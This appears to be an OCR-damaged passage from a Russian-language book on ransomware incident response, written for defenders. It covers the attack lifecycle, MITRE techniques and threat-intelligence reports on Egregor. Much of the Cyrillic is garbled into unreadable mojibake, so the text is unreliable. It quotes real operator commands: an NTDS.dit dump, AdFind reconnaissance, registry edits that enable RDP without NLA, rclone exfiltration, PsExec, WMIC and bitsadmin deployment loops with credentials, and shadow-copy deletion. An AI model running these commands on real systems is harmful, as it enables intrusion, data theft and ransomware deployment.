Eciu 310yMBIIIJICHHUKAM yIAeTCs IMOJYIUTh TOCTYII K KOHTPOJIICPY JOMEHA, OHH Tak)Ke MOTYT CO34aTh JIaMIl
Bcel 0a3bl JaHHBIX JoMeHa Active Directory, kotopas xpanutcs B daitine NTDS.dit.

['pynmmpoBka Conti npuMeHsia BcrpoeHHyo yruauty htdsutil s co3panms kommu NTDS. dit.

ntdsutil "ac in ntds" "ifm" "cr fu C:\Perflogs\a" q gq

DTOT (paiijl MOXKET HMCII0JIb30BaThCS BHIMOIaTSISIMU HE TOJIBKO JJIsI ITOJIYUYE€HHS YUETHBIX JaHHBIX, HO U I cOopa
HH(pOpMAaIUHU O JIOMEHE.

Kpaxa u nogaenka ousietoB Kerberos (T1558)

HOCKOHBK}’ cAcJIaTb CHUMOK HJIN HOI[O6paTB YUCTHBIC JaHHBIC HC BCCI'ZIa BO3MOKHO, 3JIOYMbBIIIJIICHHHUKHA

PO JOJIKAKOT HAXOJIUTh HOBBIC CITOCOOBI IOJIYUYCHMUA I[GI\/JICTBI/IT CJIbHBIX YUYCTHBIX 3amnucen. B IOCJIACIHCC BPCM:A
CpeJy OIepaTOPOB MpOrpaMM-BbIMOTaTelIC HAOUPArOT MONYISIPHOCTh METOIbI IOCTYNA K YYETHBIM JJAHHBIM,
nogoonkie Kerberoasting.

Arakyronye 310ynoTpeosroT omneramu s moiydaeHus omreroB (ticket-granting ticket [TGT]) Kerberos nian
IIEPEXBATHIBAIOT CETEBOM TpadHK, YTOOKI OIYUYNUTh OMJICT, IPEAOCTABIICHHBIN CIIy00# BeImaun OmitetoB (ticket-
granting service [TGS]). Hanpumep, onepaTopsl mporpaMmbI-BeiMoraTeias Ryuk ncnons3oBaau Rubeus s
BbINOJHEHUs aTaku Kerberoasting.

[Tony4ynB y4e€THBIE JAHHBIE HYKHOTO YPOBHS, ONEPATOPHI MMPOrPAMM-BBIMOTaTENIEW TOTOBbI K IIPOJIABUKEHUIO T10
CETH.

[IpoaBHUXKEeHUE IO CeTHU

[Ipexe yeM HayaTh TOPU30HTAIBLHOE NIEPEMEICHIE, 3JI0YMBIIUICHHUKAM HE00X0UMO cOOpaTh HH(POPMALIUIO O
CETH, B KOTOPYIO OHU MPOHUKIIM. Takue JeicTBUS MOT'YT BKJIOYaTh CKAHUPOBAHKE CETH U pa3BeaKy Active
Directory.



JIBa HamOoJIee pacIpPOCTPAaHEHHBIX MHCTPYMEHTA CETEBOI0 CKaHUPOBAHUS, KOTOPHIE UCIIOIL3YIOTCS Pa3InYHBIMU
omneparopamu nporpaMm-BeiMorareser, — Advanced IP Scanner u SoftPerfect Network Scanner.

OnHo u3 HanboJee pacIpoCTpaHEHHBIX CPEACTB I pa3Beaku Active Directory, HCIOIB3yeMBbIX
3noymbIieHHnKamMu, — AdFINd, neruTuMHABIN HHCTPYMEHT 3ampocoB kK Active Directory u3 KkoMaHHOM
CTPOKH.

BoTt npumep TOro, Kak 3TOT MHCTPYMEHT HCITOJIB30BAJICS OneparopaMu nmporpaMmmel-BeiMorarenst Netwalker.

adfind.exe -f "(objectcategory=person)" > ad users.txt
adfind.exe -f "objectcategory=computer" > ad computers.txt
adfind.exe -sc trustdmp > trustdmp.txt

adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt

adfind.exe -sc domainlist > domainlist.txt

adfind.exe -sc dcmodes > dcmodes.txt

adfind.exe -sc adinfo > adinfo.txt

adfind.exe -sc dclist > dclist.txt

AdFind mo3Bos€T 3J10yMBIIIJIEHHUKAM COOMpaTh MH(OPMAIMIO O MOJb30BATEIISIX, KOMIIbIOTEpAX,
JTOBEPUTEIILHBIX OTHOIICHUSAX MEXKIY JOMEHAMM, MOJICETIX U MHOTOM JPYyroM. DTa HHPpOpMaIds MOKET ITOMOYb
UM HalTH HamOoJjiee [IEHHBIEC XOCThI, HAIIPUMEP C PE3EPBHBIMHU KOMUSMHU U KOH(MUACHIIMATbHON HH(OpMaLIUEH.

Eure onH nonysisipHbldA HHCTPYMEHT uccienoBanus Active Directory — ADRecon. Ero aktuBHO nConb30BaIM
ornepaTopbl mporpammMbeli-BeiMorarelisi REvil.

Kak u Ha mpeaplayluX 3Tanax, 3JI0yMbIIUICHHUKH MOTYT HUCIIOJIb30BaTh JJIs1 Pa3BEAKH CETH BCTPOCHHBIEC
Bo3MOkHOCTH Windows. Hanmpumep, iauiia, cBI3aHHbIE ¢ MporpaMMor-BeiMoratesnieM Contl, HCIIOJIb30BAIM IS
3TOr0 KOMaH JIeThl (yrpolieHHbIe koMaH b)) PowerShell.

Get-ADComputer -Filter {enabled -eq $true} -properties *|select
Name, DNSHostName, OperatingSystem, LastLogonDate | Export-CSV
C:\Users\AllWindows.csv -NoTypeInformation -Encoding

JlaBanTe nepensieM HEMOCPEACTBEHHO K METO/IaM IT'OPU30HTAIILHOTO IIEPEMEIIICHHUS T10 CETH.

HUcnosib30BaHMe YA3BUMOCTEH yaJleHHbIX cepBUCOB (T1210)

[TpoaBrIKkeHUE IO CETH — €III€ OJIHA TaKTHKA, KOTOpas MPEJIoJiaracT akTHBHOE HCIIOIb30BaHHUE YSI3BUMOCTEA.
MHorue 3710yMBIIIJICHHUKH IIPEAIIOYUTAIOT PACIIPOCTPAHCHHBIE YA3BUMOCTH, apkuii npumep — EternalBlue
(CVE-2017-0144), ya3sumocTth B mpoTokoie Server Message Block (SMB), koropyto emie B 2017 T.
MCITOJIb30Bajia MeYaibHO U3BecTHas mporpamma WannaCry.

DTa ysI3BUMOCTb IO-TIPEKHEMY IIPUCYTCTBYET BO MHOTHUX KOPIIOPATUBHBIX CETAX, IO3TOMY OHA 10 CHX IOP
MOMYJISIPHA Y 3JIOYMBIIIJICHHUKOB — Hanpumep, y rpynnupoBku LockBit.

B 4uciie n1pyrux pacpoCcTpaHeHHBIX YSI3BUMOCTEH, KOTOPBIC B3JIOMIIUKHN UCIIOIB3YIOT ISl TOPU30HTAIBHOTO
nepememenus, — SMBGhost (CVE-2020-0796) u Zerologon (CVE-2020-1472).

Cayxo6sl yaaneHHoro aocryna (T1021)

OnepaTopbl IporpaMM-BbIMOTraTelIel UCIIOJb3YIOT Pa3InyHbIC yAalleHHbIE CYyKObI, Takue kak RDP, SMB u ap.,
JUJTIs1 TOPU3OHTAIIBHOTO TIEPEMEIICHUS C UCTIOJIb30BAHUEM JIEMCTBYIOIIMX YUETHBIX 3anucen. Ecinu
3JIOYMBIILIJICHHUKH TTOJYYUIINA TIEPBOHAYATIBHBIN JOCTYIT yepe3 RDP, BO MHOIUX Ciiy4asiX OHU SKCILUIYaTUPYIOT
TOT € MPOTOKOJ JIJIS MOJKIIIOUEHUA K APYTUM XOCTaM B CKOMIIPOMETUPOBAHHOM CETH, IIE OHU PA3BEPTHIBAIOT
BPEIOHOCHBIE IPOTPAMMBbI, HHCTPYMEHTHI YAAJIEHHOTO JOCTYIA U, KOHEYHO K€, CAMU POTrPaMMbI-BbIMOTATENIH.

3I0YMBIIIJIEHHUKAM, PACIIPOCTPAHSIOIIMM IIPOrpaMMaMHU-BbIMOTaTEIAMH, HpaBuTCs RDP, mosromy B nx
apceHaJsie J1aXKe €CTh 3arOTOBJICHHBIC CKPUIITHI JIJIs UK3BMEHEHMSI KOH(UTYpAIlUH C S0 MOIyYSCHUS
BO3MOKHOCTH ycTaHOBJIEHUSA RDP-coeqnHenuni ¢ 1ieJieBbIMA XOCTaMU.

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server"
/v "fDenyTSConnections" /t REG DWORD /d 0 /f

netsh advfirewall firewall set rule group="Remote Desktop" new
enable=yes

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\
WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0

Ectb n npyrue nmogmeronsl, Hanpumep SMB u Windows Remote Management (WinRM).



HcnoJsib30BaHME a/IbTEPHATUBHOI'O0 MaTepHuasia ayreHTupuKanuu (T1550)

He Bcerma omeparopaM IporpaMMm-BeIMOTaTeICH yIaeTCs MOIydaTh IapoId B OTKPBITOM BHJEC, ITIOSTOMY B
HEKOTOPBIX CIIydastX UM MPUXOAUTCS UCIIOIb30BaTh XCIIH naposeii nim ouieTsl Kerberos s ropu30HTaIBHOTO
nepemMenieHus mo cetu. Araku Pass the Hash (PtH) u Pass the Ticket (PtT) MoryTt OBITE BEIIIOJHEHEI C IIOMOIIIBIO
Mimikatz ninm pperiMBOpKOB mocTAIKCILTyaranuu, Takux kak Cobalt Strike u Metasplott.

OpHa U3 1enei 3J10yMBIIUICHHUKOB IIPY TOPHU30HTAIBHOM MEPEMEIIEHUH — IMOMCK XOCTOB C
KOH(UIECHIIMAIIBHBIMU JAHHBIMH, KOTOPBIE MOXKHO OBLIO ObI COOpaTh M YKPACTh. Jlasiee Mbl pacCMOTpUM
Han0oJIee MONYJISIPHBIE METOIBI COOpa M SKCPUIbTPALINU TAHHBIX.

Co60p M Kpa’xa JaHHBIX

Kak MBI ye rOBOpHJIY, ONIEpaTOPhI MPOrpamMM-BbIMOraTesie B OOJBITMHCTBE CIYYaeB HE TOJIBKO ITUPPYIOT
JaHHBIE, HO U KpaayT uX. JIaHHbIe MOXHO KpPacTh M3 MHOKECTBA UCTOUYHUKOB. /[aBaiiTe pacCMOTpUM caMble
pacpoOCTPaHEHHBIE U3 HHUX.

JlaHHBbIEe U3 JIOKaJIbHOM cucTeMbl (T1005)

30YMBIIUIEHHUKU MOTYT HAUTH BO B3JIOMAaHHbBIX CUCTEMAX IIEHHbIE JaHHbIE. COrIaleHns, KOHTPAKThI UJIH
(pailyibl, COAEPKAIIUE MEPCOHATBHBIE JAHHBIE, — BCE 3TO MOXKET ObITh UCHOJIB30BAHO JUIIAMH, CBSI3AHHBIMU C
[IPpOrpaMMaMU-BbIMOTATENISIMU, A1 JAIbHEUINETO [IaHTAXA.

JlaHHBIE C 001IUX ceTeBbIX AMCKOB (T1039)

OO01IMe ceTeBble TMCKA — BEChMa MONYJISIPHBIC HCTOYHUKH NOTEHIIMAIbHO 3HAYMMOW HH(OPpMAIIUH, TOATOMY
YYaCTHUKM aTaK MporpaMM-BbBIMOTaTENIEH 4acTO COOMPAIOT M KPaJayT JaHHBIC U C HUX.

JJIeKTpOHHaA nouta (T1114)

HexkoTopsie 310yMBIILICHHUKH JACHCTBYIOT Oosiee npuileabHo. HanmpuMmep, onepaTopsl porpaMMbl-BEIMOTaTEIs
Clop 00BIYHO CTPEMUIIMCh HAWNTH XOCTHI, IPUHAJICKAIINE BBICIIIEMY PYKOBOJICTBY KOMITAHUM -)KEPTBBI, 1
COOMpAJIM C HUX DJICKTPOHHBIEC ITMChbMA KaK MaTepHall VISl BLIMOTaTeIbCTBA.

ApxuBanusi COo6paHHbIX AaHHBIX (T1560)

B HEKOTOpBIX Cllydasdx JIUIA, CBA3aHHBIE C IPOrPAMMaMHU-BbIMOTATEIAMM, MOT'YT IIEPEJ KPAKEN apPXUBUPOBATH
coopannble naHHble. Hanpumep, yuactHuku Contl HCIOJIB30BAIM MONYISPHYIO YTHIIATY 7-Z1p 1714
ApXWBHUPOBAHUS COOPAHHBIX JIAHHBIX MEpe] IKCPUIbTPALIUCH.

IKchubTpaLUAa yepes Be6-cepBuchl (T1567)

Paznuunsie BeO-cepBuchl, Takue kak MEGA, DropMeFiles u ap., upe3BbluaiiHO IIONYJISIPHBI CPEAU OIIEpaTOPOB
nporpaMmm-BeiMorareneii. OHM MOT'yT MCIOJIb30BaTh BEO-Opay3ep A1 3arpy3Ku COOpaHHBIX JJaHHBIX B
XPpaHUJIMIIE U aBTOMATU3UPOBATh ATOT MPOLECC MPX HOMOIIY TaKUX HUHCTpyMEHTOB, kak RClone.

Hwuxe npumep ucnosbzoBanus RClone miist Kpaku JTaHHBIX.

rclone.exe copy "\\server\folder" remote: victim -q —-ignore-
existing —auto-confirm —multi-thread-streams 12 -transfers 12
C:\Users\Admin\.config\rclone\rclone.conf

I/IHOI‘I[a 3JIOYMBIINUICHHHUKH JT47KC p33pa6aTBIBaIOT OTACJIbHBIC HHCTPYMCHTDBI AJIs c60pa U KpaKu JaHHBbIX.

ABTOoMaTn4deckada akchuabTpauua (T1020)

Omneparopsl LockBit mpeiarany cBonM napTHepaM He TOJIbLKO IPOrpaMMYy-BBIMOTATellb IJIS pa3BEPThIBAHMS, HO
1 UHCTPYMEHT IS Kpaku JaHHBIX — StealBit.

DTOT UHCTPYMEHT aBTOMATHUYECKH M3BJIEKAET CO B3JIOMAHHOI'O XOCTa BCE JOCTYMHHbIC (haljibl, KPOME CUCTEMHBIX
(baitoB, (halIoOB peecTpa U HEKOTOPBIX APYTUX (PAMIOB C paCHIMPEHUSIMHU U3 BCTPOSHHOI'O cMcKa. Kak TOJIbKO
BCE COOpaHHbIC JaHHbBIE YKPAJACHbI, HACTYIIACT BpeMs JIJIs (PUHATIBHOIO ATarna — pa3BEepThIBAHUS IIPOTrPAMMBI-
BBIMOTATEJI.



PasBepThiBaHHE IPpOrpaMM-BbIMOraTeJ/ien

Koneunas 11e1b 110001 aTaKy ¢ UCIIOJIb30BAHUEM ITPOTrPAMMBI-BBIMOTATENsI — HEMOCPEICTBEHHO Pa3BEPTHIBAHUE
caMOM MPOrpaMMbI-BeIMOraresd. K 3 ToMy BpeMeHU pe3epBHBIE KOIMHU YK€ CTEPTHI (WM OyyT 3aiu(poBaHbI B
MIEPBYIO 0YEPEAb), MPOAYKTHI 00eCTIeueHUsT 0€30MaCHOCTH OTKIIOYEHBI, 4 JAHHBIC YKPAJICHBI.

OnuH 13 HanOoJIee pacIpoOCTPAaHEHHBIX METOAOB Pa3BEPTHIBAHUS — KOMMMPOBAHUE MPOTPAMMBI-BBIMOTATENA
yepe3 SMB u ee 3anyCcK Ha UCTIOJTHEHUE C MOMOIIBIO PSEXec — JIETMTUMHOTO MHCTPYMEHTA U3 MTAKETa
SysInternals. 3T0yMBINIJIEHHUKH OOBIYHO IIPUMEHSIIOT €0 IS YIaJCHHOrO 3aIyCcKa.

Bot npumep Toro, kak mpecTynmHUKH, padOTAIOIIKE ¢ MporpamMon-BeiMorareneM Netwalker, ncnons3yror 3ToT
WHCTPYMEHT JJIS1 YIQAJICHHOTO 3aITyCKa.

set INPUT FILE=ips.txt

set DOMAINADUSER=DOMAIN\Administrator

set DOMAINADPASS=PasswOrd!

for /£%%G IN (%INPUT_FILE%) DO net use \\%%G\C$ /
user:$DOMAINADUSER%%¥DOMAINADPASS%

for /f %%G IN (%INPUT FILE%) DO copy n.psl \\%%G\C$\

for /f %%G IN (%INPUT_FILE%) DO PsExec.exe -d \\%%G powershell
-ExecutionPolicy Bypass -NoProfile -NoLogo -NoExit -File C:\n.
psl

Jlpyroii mpuMep — oIepaTopsl BPSAOHOCHOM ITporpamMMbl Egregor ncnons3yrot ai1g pa3pepreiBanus Windows
Management Instrumentation command-line (WMIC).

for /F%%i in (C:\windows\list.txt)

do @ net use \\%%i\c$ "password" /user:"DOMAIN\user"

&& copy C:\Windows\q.d1ll \\%%i\c$\Windows\q.d1ll /Y

&& wmic /node:%%i /user:"DOMAIN\user" /password:"password"
process call create "rundll32.exe C:\Windows\q.

dll, DllRegisterServer%l —full"

&& echo%%i 1>>c:\windows\temp\log.dat & net use \\%%i\c$ /
delete

PaccmoTpum emie oauH npumMep. Ha 3ToT pa3 peds noizieT o nmporpammMe-BeiMoraresie Ryuk. Ha atot pa3
aTaKyIOIIMEe BRIMOJHAIN pa3BepThiBanue ¢ momompio Background Intelligent Transfer Service (BITS).

start wmic /node:@C:\share$\comps.txt

/user: "DOMAIN\Administrator" /password: "pass!"

process call create "cmd.exe /c bitsadmin /transfer ry \\..\
share$\ry.exe%APPDATA%\ry.exe &3%APPDATA%\ry.exe

CaMu mpOorpaMMbI-BBIMOTATENIM TAKKE 3a49aCTYI0 PEATU3YIOT HECKOJIBKO TEXHUK. J/laBalTe UX paCCMOTPHUM.

O6ecneyeHre HEBO3MOXKHOCTHU BOCCTaHOBJIeHUA cucTeMbl (T1490)

[TouTu Kaxkaast mporpaMMa-BbIMOraTellb UMEET BCTPOCHHYIO BO3MOKHOCTh YAAJICHUS WA OTKIHOUYCHUS (DYHKIIUN
BOCCTAHOBJICHUA CUCTEMBI. BechbMa HIMPOKO pacHpOCTPAHEHHBIM IPUMEDP — BO3MOKHOCTh YIAJICHUS TEHEBBIX
KOITUH TOMaA.

vssadmin delete shadows /all /quiet
Ha 3aBepmaroriem 3Tare npou3BOAUTCS (P POBaHNE JaHHBIX.

[lIndppoBanue gaHHbIX (T1490)

OcHoBHas 11€JIb JH000H aTaKkyu IIporpaMM-BbIMOraTenel — 3amu@poBaTh (aiabl Ha CKOMIPOMETHPOBAHHBIX
xocTax. Pa3paboTunKM HCHOIB3YIOT pa3indHble alropuTMel KdpoBanus, B ToM uynuciae AES, RSA, Salsa20,
ChaCha u co0cTBeHHBIE pa3padboTKu. He moydyuB OT 310yMBIIIICHHUKOB KJIFOY, K COXKAJICHUIO, HEBO3MOKHO
pacmudpoBath (aitibl. XKepTBhI IIATAT, U TO MOTUBUPYET CO3A4aTEICH IIporpaMM-BbIMOraTeei Ha
JTAJIbHEHUIIINE aTaKH.

MTak, Mbl U3yYHUIN BECh )KU3HEHHBIN IIUKJI aTaKH, CJIeJIaB aKLICHT Ha HauOoJjiee pacipoCTPaHECHHBIX METOaX,
HCIIOJIb3YEMBIX OIl€paTopaMu IporpaMM-BeIMorareiaci. BaxxHo orMetuts, uto TTP npecTynmHuKOB
MEPUOJINYECKH MEHSIOTCS, IOATOMY OUYE€Hb BaXKHO OBITh B KypCe aKTyallbHON MH(pOpMaLIMU O KHOEpyTrpo3ax.



BBIBO ABbI

CoOBpEMEHHBIE aTaKHU IPOrpaMM-BbIMOTaTeIICH, YIIPABISIEMbIX YEJIOBEKOM, — 3TO HE TOJIBKO IIM(DPOBAHUE
HaHHBIX. UTOOBI pa3BEpHYTh IIPOrPaMMYy-BbIMOTATEIb B MaCIITa0€ IPEANPHUITHUS, 3T0YMBIIUICHHUKHU JOIKHbI
IPOMTH JOJTUHN MYTh OT MEPBOHAYATIBHOTO JOCTYIIA 10 KPaKU JAHHBIX, IIOATOMY y OT/ela KuOepOe301acHOCTH
OOBIYHO €CTh MHOT'O BO3MOYKHOCTEH 1151 OOHapyKeHHs. TeM He MeHee, KaK CMEIHaIMCThI 110 pearnpoBaHUIO Ha
WHITUJICHTBI, MbI JIOJKHBI OBITh XOPOIIO OCBEIOMJIEHBI O TEKYIINX TAKTUKAX, TEXHUKAX U MPOLIEAYPAX, KOTOPHIE
MCIOJB3YIOT ONEPATOPBI MPOrpaMM-BbBIMOTATENIEH, YTOOBI OBICTPO U A3(P(PEKTUBHO pearnpoBaTh HA aTaKH.

[Tockonbky TTP MOryT cCo BpeMeHEM MEHSThCS, KpalhHE BaKHO, YTOOBI CIIEIIUAIMCTHI 10 pearupoOBaHUIO HA
WHITUJICHTHI U IPYTUE COTPYAHUKH CIY>KOBI O€30ITACHOCTH KOMITAHUM MOTJIM COOMpPaTh, 00padaThiBaTh U
pacpoCTPaHATh MPAKTUYECKYIO HHPOPMAIIMIO 0 KHOEpYrpo3ax, CBI3aHHBIX C MMPOTrPaMMaMHU-BBIMOTaTEIISIMU.

B crnemyromieii rimaBe Mbl paCCMOTPUM Pa3IdUHBIC OTKPBITHIC HCTOYHHUKH, KOTOPBIE MOXKHO MCIIOJIH30BaTh IS
coopa cBeieHUI 0 KHOEpyTrpo3ax.

[naBa 6

CBEOP JIAHHBIX O
KUBEPYI'PO3AX, CBSI3AHHBIX
C IPOT'PAMMAMM-
BBIMOTATEJISIMUA

Kak BBI TENEPH 3HAETE, ONEPATOPHI MPOTPAMM-BBIMOTATEIIEW MOTYT UCIIOJIb30BATh NIUPOKUM
CIIEKTP TaKTHK, TeXHUK U npoueayp (TTP), mosToMy oueHb moiae3HO 3HaTh, YTO UMEHHO OHM IIPUMEHSIOT B
aTake, Ha KOTOPYIO Bbl pearupyere. HeKoTopbie U3 3TUX TAKTUK U METOJIOB IIPEAHAZHAYEHBI JJIs

KPAaTKOBPCMCHHOI'O UCITIOJIBb30BAHWA, APYTHUC JJIA JOJITOCPOUYHOI'O — 5TO 3aBUCHUT OT KOHCYHOU OCJIN
3JIOYMBINJICHHHKA.

OOBIYHO MEPBOE, YTO BHI y3HACTE, IPUCTYIIasd K pearupoBanmio Ha mHOuaeHTHI (Incident Response, IR), — ato
IITaMM IIPOrPaMMBbI-BBIMOTATENS, UCIIOJIb3YEMBIN 3J10YMBIILICHHUKaMU. MHOTHE ITaMMBI IIPOTrpaMM -
BBIMOTaTEJICH paCIpOCTPAHSIIOTCS IO MOJICIN «IIporpaMMa-BbIMOTaTelb Kak yciyra» (RaasS), u pazaeie
IapTHEPbl MOI'YT UMETh Pa3HBIC MOAXO0AbI K ’KU3HEHHOMY LMKy aTakH, modToMy ux TTP Takxke Moryt
pa3anvaThCA.

[IprHIMAs 5TO BO BHUMaHKE, OYCHb IOJIC3HO MMETh JOCTOBEpHBIC KnOeppa3Beamanubie (Cyber Threat
Intelligence, CTI), xoTopbie moMoryT Bam cripaBuThCs ¢ atakoii. Kommepueckue mrardopmel CTI, koHeuHO,
OYCHB MOJIE3HBI, HO Ta)K€ B TAKMX MCTOUYHHMKAX MOXKET HE ObITh BCEH HEOOXOIUMOM BaM MH(POPMAIIUHU, II03TOMY
Ba)KHO HAYYUTHCS MOJIYYaTh IMOJPOOHBIC CBESACHUS JIJIs BAIIUX TCKYIIUX WM OYIYIIUX MEPOIPUSITUH 110
pearupoBaHMIO.

B 3TOM r;1aBe Mbl pacCCMOTPHM HEKOTOPbIE
MCTOYHUKHU KHOeppa3BeaJaHHbIX, 2 HUMEHHO:

. OTyeTbl 06 UccnenoBaHUAX YrPO3.
. CoobuwecTso.
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OT4YeThl 00 HCCJIEeJOBAHUU YTPO3

BOJIBIIMHCTBO KOMITAHUM, 3aHUMAIOIIUXCSI KHOEepOe30IMaCHOCThIO, BRITYCKAIOT Pa3IdUHbIC OTYETHI 00 yrpo3ax, B
TOM 4YHCJIe 00 yrpo3ax, CBSI3aHHBIX C aTaKaMH C MCIIOJIb30BaHUEM IIPOrPaMM-BbIMOTaTeNeii, — IMO3TOMY TaKHE
MCTOYHUKM yA0OHO HMCIIOJIB30BaTh ISl cOOpa KuoOeppa3BeagaHHbIX. OTYeThl 00 UCCIIEJOBAaHUHN YIPO3 — OUYCHbB
Ba)KHAs YaCTh OICHKH JaHAmadTa yrpo3. 9TH OTYETHI IOMOTAl0T KaK TEXHUUECKOMY IIepCOHANy, TaK U
HECIICLMAINCTaM OLICHHMBATh TEKYIIYIO CUTYallMI0 B KOMIAHUH U COIIOCTABJIATH €€ C 00IIEe KapTHHON yrpo3.

KoHe4yHO, HU OJIMH OTYET HE COACPKUT UCUEPIBIBAIOIINX CBEACHUM, TOATOMY JIYUIII€ BCETO U3y4YaTh Ty WU
HMHYIO YIpO3Yy M0 MCCIIEA0BAHUSM, MPOBEICHHBIM PAa3HBIMU ITOCTABIIMKAMU PELICHUN B chepe
KnOepOe30onacHOCTH. B psage oTueToB coaep:karcs HHAUKAaTOphsl kommpomMertaruu (Indicators of compromise,
10C) u npyrue BaxkHbIE TAHHBIE, KOTOPBIMH CTOUT MOAEIUTHCS C ITUPOKOWU 00IIECTBEHHOCTHI0. HekoTophle U3
3THUX OTYETOB MOT'YT IOMOYb OKPY>KAIOIIUM MOJATOTOBUTHCS K MIPOTUBOCTOSHUIO 3JI0YMBIIIICHHUKAM U UX
aTaKaM.

B 3TOM YyacTy MbI paCCMOTPHUM PaA3JIMUYHbIE OTYETHI O IpOorpaMmme-BeIMoraresie Egregor u nmocrapaeMcs NOJIyduTh
KaK MO>KHO Ooubiie uH@opmanuu o TTP cBSI3aHHBIX ¢ HEM JIUII.

Haunewm ¢ otuera Group-1B «IIporpamma-Beimorarens Egregor: Hacnenue Maze xuBo» (EQregor ransomware:
The legacy of Maze lives on), coaBropom koToporo ObLI 1. MaTepuai JOCTYIEH 10
ceplike: https://explore.group-ib.com/ransomware-reports/egregor wp.

Bce araku mporpamMM-BeIMOTraTeiield HAUMHAIOTCS ¢ TIEPBOHAYATILHOTO JOCTYIIA K I1e7eBoi ceTr. CormacHo
OTYEeTY, KOTOPBIM MBI aHaIU3HpyeM, mapTHepbl Egregor mpumensan Qakbot, koTopslit qocTaBsics KepTBam
gepe3 (DUIMMHTOBBIC SJICKTPOHHBIC TTUChMa. LleneBol GuImmHT — OJUH 13 CaMbIX paclIpOCTPAHEHHBIX U B TO JKE
BpeMs 04eHb 3(P(HEKTUBHBIX CIIOCOOOB MOJYUYHUTh JOCTYIT K CETH. 3MOYMBINIIICHHUKY 3HAIOT, YTO MOTYT aTaKOBaTh
OOBIYHBIX MOJIb30BaTENIEH, IOTOMY YTO TEM MOXKET HE XBaTUTh TEXHUYCCKUX HABBIKOB, YTOOBI pAaCIIO3HATH aTaKy.

Yo xke Takoe Qakbot? M3HauanbHO 3TO ObLT OAHKOBCKHUM TPOSH, BIIEpBbIe 00OHapykeHHbIM B 2007 . B
HACTOSIIIEE BPEMs OH UCHOJIB3YETCSI B OCHOBHOM JIJISI 3arPY3KH JIOMOJHUTEIbHBIX HHCTPYMEHTOB,
nampumep Cobalt Strike Beacon, a Takxe 1711 MacCOBOM pacChUIKU claMa C UCIOJIb30BaHUEM
CKOMIIPOMETHPOBAHHBIX XOCTOB C 1I€JIbIO 3apaKeHUs JOMOIHUTEIBHBIX YCTPONCTB. MHOIHE onepaTophl
nporpamMM-BeIMorareleii, Bkirodas ProLock, Egregor, REvil, Conti u np., HCIONB3YIOT STOT TPOSIH, YTOOEI
MOJYYUTh IIEPBOHAYAIBHBIN JOCTYII K LIEJICBBIM CETSIM.

Otuet Group-IB takxe conepxut nHPopManuio o Mmexanusmax 3akperieHus Qakbot B ckommpomeTupoBaHHOM
cucrteMme. B ux dnciio Bxogut pasmMemenue sxk3eminisapa nin spiabika (LNK) B mamke aBrosarpysku (Startup),
3aIKUCh ITYTH K IIporpaMMe B KiIFoue RUN CHCTEeMHOTO peecTpa M CO3JIaHNe 3allIaHMPOBAaHHOIO 33 IaHMS.

B xoae nocrakcmyaTanuu ucnojb3dyerca Cobalt Strike. 3ToT koMMepUecKkuid NOITHO( YHKIIMOHAIBHBIN
(bpeMMBOPK IMOCTIKCIUTyaTallUM CO3JIaBaJICsl KaK CPEACTBO MMUTALIMU MPOJABUHYTHIX aTaK, HO BCKOPE OH CTaJl
OJJHUM M3 U3JIFOOJICHHBIX MHCTPYMEHTOB B apCE€HAJIE PEANIbHBIX 3JI0YMBIIIJICHHUKOB, IO3BOJISAS UM HCII0JIb30BaTh
MmHorue metonbl, onmcadaele B MITRE ATT&CK.

CornacHo OTYETY, 3J0YMBIIIUICHHUKH Takxke ucronb3oBaau ADFINd mis coopa nadopmamnuu 06 Active
Directory (AD). Kak BbI y3HAIIM U3 IpEABIAYIICH I1aBbl, STOT HHCTPYMEHT JIOBOJILHO YaCTO MCIIOJIB3YETCS B
paMKax aTak C MCIOJb30BAHUEM ITPOTPAMM-BBIMOTATEIIECH.

YroO0BI 00CCIIeUnTh TOPH3OHTAIFHOS IIEpEMEIIICHIE, TApTHEPHI Egregor Hamucaan CKPUIITHI 1S BHECCHHUS
HEOOXOIMMBIX U3MEHCHHI B peecTp U OpaHaMaydp, 9TOOBI UCIIOJIB30BaTh IMIPOTOKOJI YAAJICHHOIO pabodero
crosia (RDP). Ckpunrsl pacpocTpasstoTces yepe3 PSEXeC, nerutuMubIi nHCTpyMeHT Sysinternals Suite,
KOTOPBIH ITO3BOJISICT BRIIOJHATH KOMaH/IbI Ha YIAJICHHBIX X0CTaX. JIerNTHMHBIC MHCTPYMEHTHI U Pa3IMIHBIC
CKPHUIITBI — OCHOBHBIC CPEACTBA, KOTOPHIC IIOMOTAIOT 3JI0YMBIIICHHUKAM OCTaBaThCS HE3aMCUCHHBIMM.

E1e oauH pacopocTpaHEHHBIN METO/I, IPUMEHSEMBbIN JIUIlaMH, CBsI3aHHBIMH ¢ Egregor, — 3T0 MHbEKIUS B
npouecc npu noMoiu Cobalt Strike Beacon. 9ta TeXHHKa MOKET UCIIOJb30BATHCS 3JI0YMBIIIICHHUKAMU U B



KOHTCKCTC I'OPHU30HTAJIBHOI'O IICPCMCIICHUA 110 B3JIOMAHHOU ceTHu. Takue MCTOAbBI ITO3BOJIAIOT
3JIOYMBINUUIICHHHUKAM CKPBIBATH HCIIOJIb3YCMBIC UMW KOMAH/bI, HC PACKPbIBAs CBOCI'O IIPUCYTCTBHAI.

JIns n3BiIeueHns KOH(GUICHITMAIBHBIX JaHHBIX U3 ceTH onepaTopsl Egregor ncnons3oBanu Rclone, mactpyment
KOMAHHOW CTPOKH ISl YIIpAaBJICHUS (paitiaMu B 001ayHOM XpaHwiuiie. Kpome Toro, oHM NpUuMEHUIN METO
MaCKHPOBKH, IIEpEMMEHOBAaB UCTIOMHsAeMbIN (aitn Rclone B svchost.exe.

J1J1s1 OTKIIFOUEHMS] aHTUBUPYCHOU 3aIUTHI 3JI0YMBIINUIEHHUKY UCIIOJIB30BAIM IPYIIIOBYIO MOJIMTHKY, a

Takoke scepinstall.exe, aroosr ymamuts System Center Endpoint Protection (SCEP). Ilogo0nbIe aTaku — SIpKHit
IPUMEP TOTO, KaK 3JIOYMBIIUIEHHUKH 3JI0yNOTPEOIISIOT JETUTUMHBIMA (DYHKIUSIMU COBPEMEHHBIX
ONEPAIIMOHHBIX CUCTEM.

